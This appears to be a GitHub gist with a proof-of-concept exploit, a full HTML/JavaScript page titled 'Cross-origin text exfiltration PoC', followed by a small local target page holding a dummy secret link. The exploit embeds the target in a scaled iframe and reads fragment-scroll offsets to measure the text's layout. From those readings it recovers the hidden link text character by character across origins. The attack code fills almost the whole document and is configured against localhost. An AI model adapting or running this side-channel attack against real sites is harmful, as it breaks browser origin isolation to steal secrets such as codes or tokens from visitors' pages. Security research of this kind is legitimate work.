-
-
Save tyage/87abb8a92bb4652eeb3f806eaa3d022e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!doctype html> | |
| <meta charset="utf-8"> | |
| <title>Cross-origin text exfiltration PoC</title> | |
| <style> | |
| :root { | |
| --bg: #ffffff; --fg: #1a1a1a; --dim: #6b6b6b; --panel: #f6f6f6; --line: #e0e0e0; | |
| --ok-bg: #e8f6ec; --ok-fg: #14532d; --ok-line: #9ad0af; | |
| --bad-bg: #fdecec; --bad-fg: #7f1d1d; --bad-line: #e5a3a3; | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| :root { | |
| --bg: #16181c; --fg: #e6e6e6; --dim: #9aa0a6; --panel: #1f2229; --line: #333842; | |
| --ok-bg: #14301f; --ok-fg: #86efac; --ok-line: #2f6b46; | |
| --bad-bg: #331a1a; --bad-fg: #fca5a5; --bad-line: #6b2f2f; | |
| } | |
| } | |
| body { margin: 24px; background: var(--bg); color: var(--fg); | |
| font: 13px/1.5 ui-monospace, SFMono-Regular, Menlo, monospace; } | |
| h1 { font: 600 20px/1.3 system-ui, sans-serif; margin: 0 0 4px; } | |
| p { color: var(--dim); margin: 0 0 12px; } | |
| a { color: inherit; } | |
| #status { padding: 7px 10px; background: var(--panel); border: 1px solid var(--line); | |
| border-radius: 5px; color: var(--dim); white-space: pre-wrap; word-break: break-all; } | |
| #result { margin: 10px 0 0; padding: 12px 14px; border-radius: 6px; border: 1px solid; | |
| font-size: 16px; font-weight: 600; word-break: break-all; } | |
| #result:empty { display: none; } | |
| #result.ok { background: var(--ok-bg); color: var(--ok-fg); border-color: var(--ok-line); } | |
| #result.bad { background: var(--bad-bg); color: var(--bad-fg); border-color: var(--bad-line); } | |
| #log { margin: 10px 0 0; padding: 10px 12px; max-height: 62vh; overflow: auto; | |
| background: var(--panel); border: 1px solid var(--line); border-radius: 5px; | |
| white-space: pre-wrap; word-break: break-all; } | |
| </style> | |
| <h1>Cross-origin text exfiltration PoC</h1> | |
| <p>Target: <a href="http://localhost:8001/target.html" target="_blank">http://localhost:8001/target.html</a> | |
| · resume any listed tail with <code>?tail=</code></p> | |
| <div id="status">starting...</div> | |
| <div id="result"></div> | |
| <pre id="log"></pre> | |
| <!-- Minimal local replica of the target's known font and layout. --> | |
| <div id="replica" style="position:absolute;left:-100000px;top:0"> | |
| <div id="replica-page" style="margin:0;padding-top:200px"> | |
| <a id="replica-code" href="#" style="font:700 48px/48px Georgia,serif;word-break:break-all">x</a> | |
| </div> | |
| </div> | |
| <script type="module"> | |
| const log = document.querySelector("#log"); | |
| const statusLine = document.querySelector("#status"); | |
| const resultBox = document.querySelector("#result"); | |
| const pad = (value, width) => String(value).padStart(width); | |
| const config = { | |
| targetURL: "http://localhost:8001/target.html#secret", | |
| knownPrefix: "http://", | |
| // Any character the font renders can go in here; the search cost grows with | |
| // the alphabet (each step probes every character against every join), and | |
| // characters that render identically are folded into one branch later. | |
| alphabet: "abcdefghijklmnopqrstuvwxyz0123456789=?/:", | |
| maxLength: 24, // search bound only, not the known secret length | |
| // observer geometry: a 100x100 same-origin iframe holding the cross-origin | |
| // target iframe, scaled horizontally so scrollX resolves sub-pixel widths | |
| viewport: 100, | |
| baseX: 1000, | |
| baseY: 1000, | |
| scaleX: 128, | |
| scaleY: 1, | |
| startWidth: 1000, // wide enough that the whole code sits on one line | |
| frameHeight: 1000, // tall enough that the page never scrolls inside the | |
| // target frame: a scrollbar would steal available width | |
| // and a clipped box would truncate the height readout | |
| quantum: 1 / 64, // Blink LayoutUnit | |
| settleFrames: 10, // frames to wait for the fragment scroll to land | |
| attempts: 4, // reloads before giving up on a width | |
| minIframeWidth: 40, // narrower than this the target frame stops behaving | |
| maxGlueRun: 3, // consecutive characters that cannot open a line | |
| endgameWidth: 0, // remaining prefix width that switches to enumeration; | |
| // 0 disables it. The candidates it produces are not | |
| // separable by this primitive (identical layout at | |
| // every width), so it costs a great deal of CPU for no | |
| // information. Raise it only to see the ambiguity set. | |
| endgameLength: 4, // longest prefix the endgame will enumerate | |
| endgameNodes: 20000, // hard cap on the endgame walk | |
| endgameCandidates: 60, // total candidates the endgame may contribute per run | |
| maxCandidates: 80, // most that verification and separation will look at | |
| separateStep: 8, // width grid used when hunting a discriminating width | |
| separateRounds: 8, // separation passes before giving up | |
| maxProbes: 4000, // hard stop: every probe is an iframe load | |
| verifyWidths: [80, 120, 180, 260, 400], | |
| }; | |
| const U = config.quantum; | |
| const quantize = (value) => Math.round(value / U) * U; | |
| const nextFrame = () => new Promise((resolve) => requestAnimationFrame(resolve)); | |
| let probes = 0; | |
| const reportAsync = (message) => { | |
| const atBottom = log.scrollHeight - log.scrollTop - log.clientHeight < 40; | |
| log.textContent += log.textContent ? `\n${message}` : message; | |
| if (atBottom) log.scrollTop = log.scrollHeight; | |
| }; | |
| async function report(message) { | |
| reportAsync(message); | |
| } | |
| const setStatus = (message) => { statusLine.textContent = message; }; | |
| const setResult = (message, ok) => { | |
| resultBox.textContent = message; | |
| resultBox.className = ok ? "ok" : "bad"; | |
| }; | |
| // --------------------------------------------------------------------------- | |
| // Leak primitive | |
| // | |
| // `#code` makes Chromium focus the fragment target and scroll it into view, and | |
| // that scroll propagates out of the cross-origin iframe into our own observer | |
| // document. The target's DOM stays unreadable, but the observer's scrollX and | |
| // scrollY are ours, and "align center" hands us the element's bounding box: | |
| // scrollX = baseX + scaleX*(boxLeft + boxWidth/2) - viewport/2 | |
| // scrollY = baseY + scaleY*(boxTop + boxHeight/2) - viewport/2 | |
| // scaleX amplifies the horizontal readout, so an integer scrollX still pins the | |
| // widest line width to 2/scaleX = 1/64 px. Only a focusable *inline* element | |
| // leaks this way: a plain <span> is never focused, and a block box would just | |
| // report the container width. | |
| // --------------------------------------------------------------------------- | |
| let observer, observerDoc, targetFrame, scaledBox; | |
| async function openObserver(maxIframeWidth) { | |
| const canvasWidth = config.baseX + config.scaleX * maxIframeWidth + 4 * config.viewport; | |
| observer = document.createElement("iframe"); | |
| observer.width = config.viewport; | |
| observer.height = config.viewport; | |
| observer.style.cssText = "position:absolute;left:-10000px;border:0"; | |
| observer.srcdoc = `<!doctype html> | |
| <meta charset="utf-8"> | |
| <style> | |
| html,body { margin:0; width:${canvasWidth}px; height:${config.frameHeight * 4}px } | |
| #scaled { | |
| position:absolute; | |
| left:${config.baseX}px; | |
| top:${config.baseY}px; | |
| height:${config.frameHeight}px; | |
| overflow:hidden; | |
| transform:scale(${config.scaleX},${config.scaleY}); | |
| transform-origin:top left; | |
| } | |
| </style> | |
| <div id="scaled"></div>`; | |
| const loaded = new Promise((resolve, reject) => { | |
| observer.addEventListener("load", resolve, { once: true }); | |
| observer.addEventListener("error", reject, { once: true }); | |
| }); | |
| document.body.append(observer); | |
| await loaded; | |
| observerDoc = observer.contentDocument; | |
| scaledBox = observerDoc.querySelector("#scaled"); | |
| } | |
| // A child frame keeps its old viewport width for a lifecycle update after the | |
| // element is resized, which would silently measure the previous width. Giving | |
| // each measurement a freshly inserted iframe, sized before insertion, makes the | |
| // very first layout of the child use the width we asked for. | |
| function attachTarget(iframeWidth, url) { | |
| const frame = observerDoc.createElement("iframe"); | |
| frame.setAttribute("style", `display:block;border:0;height:${config.frameHeight}px;width:${iframeWidth}px`); | |
| const loaded = new Promise((resolve, reject) => { | |
| frame.addEventListener("load", resolve, { once: true }); | |
| frame.addEventListener("error", reject, { once: true }); | |
| }); | |
| frame.src = url; | |
| scaledBox.replaceChildren(frame); | |
| targetFrame = frame; | |
| return loaded; | |
| } | |
| async function measure(iframeWidth) { | |
| for (let attempt = 0; attempt < config.attempts; attempt += 1) { | |
| probes += 1; | |
| if (probes > config.maxProbes) { | |
| throw new Error(`probe budget of ${config.maxProbes} exhausted at iframe width ${iframeWidth}`); | |
| } | |
| scaledBox.style.width = `${iframeWidth}px`; | |
| observer.contentWindow.scrollTo(0, 0); | |
| await attachTarget(iframeWidth, config.targetURL.replace( | |
| "#", `?nonce=${probes}-${Math.random()}#`, | |
| )); | |
| for (let frame = 0; frame < config.settleFrames; frame += 1) { | |
| await nextFrame(); | |
| const scrollX = observer.contentWindow.scrollX; | |
| const scrollY = observer.contentWindow.scrollY; | |
| if (scrollX > config.baseX) return { scrollX, scrollY }; | |
| } | |
| } | |
| throw new Error(`no scroll at iframe width ${iframeWidth}`); | |
| } | |
| const cache = new Map(); | |
| async function probe(iframeWidth) { | |
| if (!(iframeWidth > config.minIframeWidth && iframeWidth < 4000)) { | |
| throw new Error(`width ${iframeWidth}`); | |
| } | |
| if (!cache.has(iframeWidth)) cache.set(iframeWidth, await measure(iframeWidth)); | |
| return cache.get(iframeWidth); | |
| } | |
| const scrollXFor = (left, width) => | |
| Math.round(config.baseX + config.scaleX * (left + width / 2) - config.viewport / 2); | |
| const scrollYFor = (top, height) => | |
| Math.round(config.baseY + config.scaleY * (top + height / 2) - config.viewport / 2); | |
| const agrees = (reading, expected) => | |
| Math.abs(reading.scrollX - expected.scrollX) <= 1 && | |
| Math.abs(reading.scrollY - expected.scrollY) <= 1; | |
| // --------------------------------------------------------------------------- | |
| // Local replica: exact layout predictions for any text we can already name | |
| // --------------------------------------------------------------------------- | |
| const replicaPage = document.querySelector("#replica-page"); | |
| const replicaCode = document.querySelector("#replica-code"); | |
| const layoutCache = new Map(); | |
| function layout(text, iframeWidth) { | |
| const key = `${iframeWidth}\u0000${text}`; | |
| const hit = layoutCache.get(key); | |
| if (hit) return hit; | |
| const measured = layoutUncached(text, iframeWidth); | |
| if (layoutCache.size < 200000) layoutCache.set(key, measured); | |
| return measured; | |
| } | |
| function layoutUncached(text, iframeWidth) { | |
| replicaPage.style.width = `${iframeWidth}px`; | |
| if (replicaCode.textContent !== text) replicaCode.textContent = text; | |
| const page = replicaPage.getBoundingClientRect(); | |
| const box = replicaCode.getBoundingClientRect(); | |
| const range = document.createRange(); | |
| range.selectNodeContents(replicaCode); | |
| return { left: box.left - page.left, top: box.top - page.top, height: box.height, | |
| lines: [...range.getClientRects()].map((r) => r.width) }; | |
| } | |
| const ruler = document.createElement("span"); | |
| const widthCache = new Map(); | |
| // Kerning acts between two adjacent glyphs, so the join between an unknown | |
| // character and a tail depends only on the tail's first character -- not on | |
| // the whole tail. Measuring it per state per step re-measured a different long | |
| // string every time, which no cache could help: tens of thousands of reflows | |
| // per step, dwarfing the handful of probes each step actually costs. | |
| const kernCache = new Map(); | |
| function kern(previous, first) { | |
| const pair = previous + first; | |
| if (!kernCache.has(pair)) { | |
| kernCache.set(pair, quantize(textWidth(pair) - textWidth(previous) - textWidth(first))); | |
| } | |
| return kernCache.get(pair); | |
| } | |
| const joinCache = new Map(); | |
| function joinsFor(first) { | |
| if (!joinCache.has(first)) { | |
| const joins = new Set([0]); | |
| for (const previous of config.alphabet) { | |
| const j = kern(previous, first); | |
| joins.add(j); joins.add(j + U); joins.add(j - U); | |
| } | |
| joinCache.set(first, [...joins].sort((a, b) => Math.abs(a) - Math.abs(b))); | |
| } | |
| return joinCache.get(first); | |
| } | |
| function textWidth(text) { // one unwrapped line, same style | |
| if (!widthCache.has(text)) { | |
| ruler.textContent = text; | |
| const range = document.createRange(); | |
| range.selectNodeContents(ruler); | |
| widthCache.set(text, range.getBoundingClientRect().width); | |
| } | |
| return widthCache.get(text); | |
| } | |
| let maxAdvance = 0; // widest single advance in the alphabet | |
| let LINE_STEP = 0; // vertical distance between two wrapped lines | |
| let PADDING = 0; // iframe width minus the width available to the code | |
| // `word-break: break-all` does not make *every* position a soft wrap | |
| // opportunity: UAX #14 still forbids a break in front of characters such as | |
| // "/", "?", ".", "," and ":", so those can never open a line. Such a character | |
| // is glued to whatever precedes it, which moves the split point the search | |
| // relies on. Measure it on the replica instead of hardcoding a table. | |
| const GLUE = new Set(); | |
| function findGlue() { | |
| const xWidth = textWidth("x"); | |
| for (const character of config.alphabet) { | |
| if (layout("x" + character, Math.ceil(xWidth) + 1 + PADDING).lines.length === 1) { | |
| GLUE.add(character); | |
| } | |
| } | |
| } | |
| function calibrate() { | |
| const one = layout("x", 3000); | |
| const many = layout("x".repeat(300), 400); | |
| LINE_STEP = (many.height - one.height) / (many.lines.length - 1); | |
| layout("x", 1000); | |
| PADDING = 1000 - replicaCode.parentElement.getBoundingClientRect().width; | |
| ruler.setAttribute("style", `${replicaCode.getAttribute("style")};position:absolute;left:-100000px;top:0;white-space:nowrap`); | |
| replicaCode.parentElement.append(ruler); | |
| maxAdvance = Math.max(...[...config.alphabet].map(textWidth)); | |
| } | |
| // predicted reading when an unknown prefix of width `prefixWidth` fills line 1 | |
| // and the known `tail` follows, at the given iframe width | |
| function predict(prefixWidth, tail, iframeWidth) { | |
| const g = layout(tail, iframeWidth); | |
| const widest = Math.max(prefixWidth, ...g.lines); | |
| return { widest, | |
| scrollX: scrollXFor(g.left, widest), | |
| scrollY: scrollYFor(g.top, g.height + LINE_STEP) }; | |
| } | |
| // --------------------------------------------------------------------------- | |
| // Recovery, right to left | |
| // | |
| // Starting at the right edge, guessing the next character fixes the | |
| // width of the *unknown* remaining prefix. Pick the iframe width at which that | |
| // prefix exactly fills line 1: every other line is then at most as wide, so the | |
| // leaked "widest line" is the prefix width itself, while the line count and all | |
| // following line widths follow from the replica. Only the right character | |
| // reproduces the measurement; two neighbouring widths confirm each hit. | |
| // | |
| // Advances are not additive in every font: the still unknown character in front | |
| // of `character` may kern with it, so every join the alphabet can produce is | |
| // tried (plus/minus one LayoutUnit, to absorb rounding in the measurements). | |
| // The code length is never assumed: a branch ends as soon as the whole | |
| // candidate, measured in one piece, matches the code's total width. | |
| // --------------------------------------------------------------------------- | |
| async function recover(totalWidth, startTail) { | |
| const headWidth = textWidth(config.knownPrefix); | |
| // Characters with the same rendering can make two tails indistinguishable. | |
| // Carry those as one branch with a character class instead of letting the | |
| // beam double at each occurrence. | |
| const signature = (tail) => [220, 400, 700, 1200] | |
| .map((w) => layout(tail, w).lines.map((x) => x.toFixed(4)).join(",")).join("|"); | |
| let beam = [{ variants: [startTail], classes: [], pending: 0 }]; | |
| const complete = []; | |
| let endgameRoom = config.endgameCandidates; | |
| let stepProbes = probes; | |
| for (let step = 0; step < config.maxLength && beam.length; step += 1) { | |
| const groups = new Map(); | |
| for (const state of beam) { | |
| // A candidate whose total width already matches needs no probe at all. | |
| const completing = new Set(); | |
| for (const character of config.alphabet) { | |
| const tail = character + state.variants[0]; | |
| if (Math.abs(totalWidth - textWidth(config.knownPrefix + tail)) < 0.03) { | |
| complete.push({ code: config.knownPrefix + tail, | |
| classes: [new Set([character]), ...state.classes] }); | |
| completing.add(character); | |
| } | |
| } | |
| let confirmed = false; | |
| for (const character of config.alphabet) { | |
| if (completing.has(character) || GLUE.has(character)) continue; | |
| const tail = character + state.variants[0]; | |
| const tailWidth = textWidth(tail); | |
| let matched = false; | |
| for (const join of joinsFor(character)) { | |
| if (matched) break; | |
| const prefixWidth = totalWidth - tailWidth - join; | |
| if (prefixWidth < headWidth - 0.05) continue; | |
| const base = Math.ceil(prefixWidth - U); | |
| if (base + PADDING <= config.minIframeWidth) continue; // unprobeable | |
| // Line 1 stays exactly the unknown prefix for every frame width from | |
| // `base` up to just before the tail's first character would fit | |
| // beside it -- a window as wide as that character. Three adjacent | |
| // widths at the bottom of it can leave the target laid out | |
| // identically, so three probes carry one probe's worth of evidence | |
| // and a wrong character survives on a single coincidence. The far | |
| // end of the window re-wraps the known tail and separates them. | |
| const top = Math.floor(prefixWidth + textWidth(tail[0])) - 3; | |
| const widths = [base, base + 1, base + 2]; | |
| if (top > base + 3) widths.push(top - 1, top); | |
| let hit = true, usable = 0; | |
| for (const avail of [...new Set(widths)]) { | |
| const p = predict(prefixWidth, tail, avail + PADDING); | |
| // Once the unknown prefix is narrower than an unbreakable run | |
| // inside the known tail, the bottom of the window cannot hold that | |
| // run: it would overflow, the target would scroll itself and the | |
| // reading would stop meaning anything. Skip those widths rather | |
| // than dropping the candidate -- the upper part of the window | |
| // still fits the run and still tells characters apart, because the | |
| // guessed character is part of the tail being laid out. | |
| if (p.widest > avail + 2 * U) continue; | |
| usable += 1; | |
| if (!agrees(await probe(avail + PADDING), p)) { hit = false; break; } | |
| } | |
| if (!hit || usable < 2) continue; | |
| matched = true; | |
| confirmed = true; | |
| const key = `ok:${signature(tail)}`; | |
| const group = groups.get(key); | |
| if (group) { | |
| group.variants.push(...state.variants.map((v) => character + v)); | |
| group.classes[0].add(character); | |
| } else { | |
| groups.set(key, { variants: state.variants.map((v) => character + v), | |
| classes: [new Set([character]), ...state.classes], | |
| pending: 0 }); | |
| } | |
| } | |
| } | |
| // Endgame. Once the unknown prefix is narrower than an unbreakable run | |
| // inside the known tail, no frame width can isolate it any more: the run | |
| // overflows every width the window offers. Enumerate the short strings | |
| // whose width closes the remaining gap instead, and leave the choice | |
| // between them to verification. | |
| // | |
| // Bounding this matters. Pruning only on "the sum has not overrun the | |
| // gap yet" never fires when the shortest advances still fit at full | |
| // depth, and the walk degenerates into |alphabet|^endgameLength nodes | |
| // with a full-string measurement at each one. So prune from below as | |
| // well -- a branch that cannot reach the gap with the characters it has | |
| // left is dead -- measure the exact width only once the running sum is | |
| // already at the gap, and cap the walk outright. | |
| // Only from a state the measurement actually confirmed. A pending state | |
| // is an unverified guess about characters no measurement can see yet; | |
| // enumerating completions from each of those multiplies speculation by | |
| // speculation and buries the real candidates under thousands of them. | |
| if (!confirmed && !state.pending) { | |
| const gap = totalWidth - textWidth(config.knownPrefix + state.variants[0]); | |
| if (gap > 0 && gap < config.endgameWidth) { | |
| let budget = config.endgameNodes; | |
| const walk = (prefix, sum) => { | |
| if (--budget < 0 || endgameRoom <= 0) return; | |
| const left = config.endgameLength - prefix.length; | |
| if (gap - sum > maxAdvance * left + 3) return; | |
| if (prefix.length && Math.abs(gap - sum) < 3 | |
| && Math.abs(totalWidth | |
| - textWidth(config.knownPrefix + prefix + state.variants[0])) < 0.03) { | |
| complete.push({ code: config.knownPrefix + prefix + state.variants[0], | |
| classes: [...[...prefix].map((c) => new Set([c])), ...state.classes] }); | |
| endgameRoom -= 1; | |
| } | |
| if (left <= 0) return; | |
| for (const character of config.alphabet) { | |
| const next = sum + textWidth(character); | |
| if (next <= gap + 3) walk(character + prefix, next); | |
| } | |
| }; | |
| walk("", 0); | |
| if (budget < 0 || endgameRoom <= 0) { | |
| reportAsync(`endgame stopped early at "${state.variants[0]}" (${budget < 0 ? "node cap" : "candidate cap"}) -- some candidates were not enumerated`); | |
| } | |
| } | |
| } | |
| // Fallback, taken only when no measurable character fits. A character | |
| // that cannot open a line stays on line 1, inside the unknown prefix, so | |
| // no width measurement can see it yet and every one of them would | |
| // "match" -- branching on them unconditionally multiplies the beam by | |
| // |GLUE| at every single step. Open that branch only where the cheap | |
| // pass came up empty, and settle it one step later, when a character | |
| // that *can* open a line pushes the whole group down to line 2. | |
| if (!confirmed && state.pending < config.maxGlueRun) { | |
| for (const character of config.alphabet) { | |
| if (completing.has(character) || !GLUE.has(character)) continue; | |
| const key = `pending:${character}${state.variants[0]}`; | |
| if (!groups.has(key)) { | |
| groups.set(key, { variants: state.variants.map((v) => character + v), | |
| classes: [new Set([character]), ...state.classes], | |
| pending: state.pending + 1 }); | |
| } | |
| } | |
| } | |
| } | |
| beam = [...groups.values()]; | |
| // Only the states a measurement actually confirmed are worth reading; the | |
| // speculative glue chains are counted, not listed, or they bury the line. | |
| const solid = beam.filter((s) => !s.pending).map((s) => s.variants[0]); | |
| const pending = beam.length - solid.length; | |
| const extra = []; | |
| if (solid.length > 3) extra.push(`+${solid.length - 3} more`); | |
| if (pending) extra.push(`${pending} pending`); | |
| reportAsync(`step ${pad(step, 2)} ${pad(probes - stepProbes, 4)} probes ` | |
| + `${solid.slice(0, 3).join(" ") || "\u2014"}` | |
| + `${extra.length ? ` [${extra.join(", ")}]` : ""}`); | |
| setStatus(`step ${step} \u00b7 ${probes} probes \u00b7 ${solid[0] ?? "nothing confirmed"}` | |
| + `${complete.length ? ` \u00b7 ${complete.length} complete` : ""}`); | |
| stepProbes = probes; | |
| } | |
| const seen = new Set(); | |
| return complete.filter((e) => !seen.has(e.code) && seen.add(e.code)); | |
| } | |
| // "CODE: m[ax]imal" style pattern, plus the number of strings it stands for | |
| function describe(entry) { | |
| const body = entry.code.slice(config.knownPrefix.length); | |
| const classes = entry.classes; | |
| let out = "", combinations = 1; | |
| for (let i = 0; i < body.length; i += 1) { | |
| const set = classes[i] ?? new Set([body[i]]); | |
| combinations *= set.size; | |
| out += set.size > 1 ? `[${[...set].sort().join("")}]` : body[i]; | |
| } | |
| return { pattern: config.knownPrefix + out, combinations }; | |
| } | |
| // A run of characters that cannot be split apart can be wider than the frame. | |
| // The target document then scrolls itself horizontally to centre the overflow, | |
| // and what reaches the observer is the viewport centre instead of the | |
| // element's box -- the readout stops meaning what the formulas assume. The | |
| // search already refuses such widths; verification and separation must too. | |
| const fits = (text, iframeWidth) => | |
| Math.max(...layout(text, iframeWidth).lines) <= iframeWidth - PADDING + 2 * U; | |
| // Cross-check a finished candidate against widths the search never used. | |
| async function verify(candidate) { | |
| // Prefer widths the search already probed: a fresh width costs a real iframe | |
| // load, and with a large candidate set those dominate the run. | |
| const widths = [...cache.keys()].filter((w) => fits(candidate, w)).slice(0, config.verifyWidths.length); | |
| for (const w of config.verifyWidths) { | |
| if (widths.length < config.verifyWidths.length && !widths.includes(w) && fits(candidate, w)) { | |
| widths.push(w); | |
| } | |
| } | |
| if (!widths.length) return false; | |
| for (const iframeWidth of widths) { | |
| const g = layout(candidate, iframeWidth); | |
| const expected = { scrollX: scrollXFor(g.left, Math.max(...g.lines)), | |
| scrollY: scrollYFor(g.top, g.height) }; | |
| if (!agrees(await probe(iframeWidth), expected)) return false; | |
| } | |
| return true; | |
| } | |
| // If two strings render identically at the widths used by the search, hunt for | |
| // a width whose predicted layout differs and let the target decide. | |
| const readingAt = (candidate, width) => { | |
| const g = layout(candidate, width); | |
| return { scrollX: scrollXFor(g.left, Math.max(...g.lines)), | |
| scrollY: scrollYFor(g.top, g.height) }; | |
| }; | |
| async function separate(candidates) { | |
| candidates = [...new Set(candidates)]; | |
| for (let round = 0; round < config.separateRounds && candidates.length > 1; round += 1) { | |
| // Pick the width that splits the survivors into as many distinct predicted | |
| // readings as possible, not merely the first width at which two of them | |
| // differ: with dozens of candidates left, one arbitrary split barely | |
| // thins the field and the loop gives up while the answer is still buried. | |
| // One layout per candidate per width, on a coarse grid: the old scan laid | |
| // every candidate out twice at every single width, which is tens of | |
| // thousands of synchronous reflows per round. | |
| let best = null; | |
| const step = Math.max(config.separateStep, Math.ceil(candidates.length / 4)); | |
| for (let width = 60; width < 1600; width += step) { | |
| const keys = new Set(); | |
| let usable = true; | |
| for (const candidate of candidates) { | |
| const g = layout(candidate, width); | |
| const widest = Math.max(...g.lines); | |
| if (widest > width - PADDING + 2 * U) { usable = false; break; } | |
| keys.add(`${scrollXFor(g.left, widest)},${scrollYFor(g.top, g.height)}`); | |
| } | |
| if (!usable || keys.size < 2) continue; | |
| if (!best || keys.size > best.keys) best = { width, keys: keys.size }; | |
| if (best.keys === candidates.length) break; | |
| } | |
| if (!best) break; | |
| const reading = await probe(best.width); | |
| const before = candidates.length; | |
| candidates = candidates.filter((candidate) => agrees(reading, readingAt(candidate, best.width))); | |
| reportAsync(`separate at width ${best.width}: ${before} \u2192 ${candidates.length}`); | |
| if (candidates.length === before || !candidates.length) break; | |
| } | |
| return candidates; | |
| } | |
| try { | |
| const params = new URLSearchParams(location.search); | |
| const alphabetClass = "[^" + config.alphabet.replace(/[\\^\]-]/g, "\\$&") + "]"; | |
| const resume = (params.get("tail") ?? "").replace(new RegExp(alphabetClass, "g"), ""); | |
| await document.fonts.ready; | |
| calibrate(); | |
| if (!(LINE_STEP > 0) || !(PADDING >= 0)) throw new Error("replica did not lay out"); | |
| findGlue(); | |
| reportAsync(`replica line step ${LINE_STEP}px \u00b7 padding ${PADDING}px ` | |
| + `\u00b7 cannot start a line: ${[...GLUE].join("") || "(none)"}`); | |
| await openObserver(config.startWidth); | |
| await probe(config.startWidth - 300); // warm the target frame up | |
| const wide = await probe(config.startWidth); | |
| const g = layout("x", config.startWidth); | |
| const totalWidth = (wide.scrollX + config.viewport / 2 - config.baseX) * 2 / config.scaleX | |
| - 2 * g.left; | |
| const expectedWideY = scrollYFor(g.top, g.height); | |
| if (Math.abs(wide.scrollY - expectedWideY) > 1) { | |
| throw new Error(`the code did not fit on one line (scrollY ${wide.scrollY}, expected ${expectedWideY})`); | |
| } | |
| try { | |
| void targetFrame.contentWindow.document.body; | |
| throw new Error("target DOM is readable; origins are not separated"); | |
| } catch (error) { | |
| if (error.name !== "SecurityError") throw error; | |
| } | |
| reportAsync(`target total width ${totalWidth}px \u00b7 alphabet ${config.alphabet.length} chars` | |
| + `${config.knownPrefix ? ` \u00b7 known prefix "${config.knownPrefix}"` : ""}`); | |
| setStatus("searching..."); | |
| let complete = await recover(totalWidth, resume); | |
| if (complete.length > config.maxCandidates) { | |
| reportAsync(`${complete.length} candidates completed; verifying only the first ${config.maxCandidates}`); | |
| complete = complete.slice(0, config.maxCandidates); | |
| } | |
| const verified = []; | |
| for (const entry of complete) if (await verify(entry.code)) verified.push(entry); | |
| const codes = await separate(verified.map((e) => e.code)); | |
| const described = verified.filter((e) => codes.includes(e.code)).map(describe); | |
| const summary = described | |
| .map((d) => d.combinations > 1 ? `${d.pattern} (${d.combinations} candidates)` : d.pattern) | |
| .join(", "); | |
| reportAsync(`done ${probes} probes`); | |
| setStatus(`finished \u00b7 ${probes} probes`); | |
| setResult(summary || "no candidate survived verification", Boolean(summary)); | |
| } catch (error) { | |
| setStatus("failed"); | |
| setResult(String(error?.message ?? error), false); | |
| reportAsync(`ERROR: ${error?.stack ?? error}`); | |
| } | |
| </script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!doctype html> | |
| <meta charset="utf-8"> | |
| <style> | |
| html, body { margin: 0; } | |
| body { padding-top: 200px; } | |
| #secret { | |
| font: 700 48px/48px Georgia, serif; | |
| word-break: break-all; | |
| } | |
| </style> | |
| <a id="secret" href="http://app/?code=secret">http://app/?code=secret</a> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment